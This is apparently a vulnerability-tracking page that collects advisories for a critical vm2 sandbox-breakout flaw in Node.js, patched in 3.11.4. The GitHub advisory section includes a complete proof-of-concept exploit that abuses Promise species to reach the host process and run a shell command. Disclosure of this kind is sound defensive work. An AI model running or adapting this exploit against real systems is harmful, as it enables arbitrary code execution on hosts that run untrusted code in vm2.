vm2: Sandbox Breakout Using Promise Species

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.

Source published

12 Jun 2026 14:16:22 UTC

Source modified

13 Jun 2026 03:55:58 UTC

Observed here

23 Oct 2026 15:48:27 UTC

Source terms

CVE Program Terms of Use

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CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.

Source published

Jun 12, 2026, 2:16:22 PM (timezone not stated)

Source modified

Jun 13, 2026, 3:55:58 AM (timezone not stated)

Observed here

7 Nov 2026 10:40:05 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This issue has been patched in version 3.11.4.

Source published

12 Jun 2026 15:16:28 UTC

Source modified

26 Oct 2026 11:10:00 UTC

Observed here

27 Oct 2026 13:11:40 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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CVSS 3.1 · [email protected] · Secondary · 10.0 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The `localPromise` constructor was changed to call `this.then(undefined, eater)` to ensure a rejected promise is always used. However, this is missing a call to `resetPromiseSpecies` to ensure that `this` has no special species. Since the species can be changed a custom promise can be used to supply a custom reject method to the executor allowing to get a raw host error and escape the sandbox. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } let ex, ct; class FakePromise extends Promise { static get [Symbol.species](){return ct;} } function doCatch(f) { ex=undefined; const p=Promise.withResolvers(); ct = function(e){e(f, v=>{ex=v;p.resolve();})}; new FakePromise(r=>r()); return p.promise; } (async function f(s) { let min = s; let max = 100000; while (min<max) { const mid = (min+max)>>1; await doCatch(()=>so(mid)); if (ex.name==="RangeError" && !(ex instanceof RangeError)) { ex.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (ex instanceof E) { min = mid+1; } else { max = mid; } } f(s+1); })(0); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.

Source published

29 May 2026 17:40:15 UTC

Source modified

12 Jun 2026 21:00:09 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL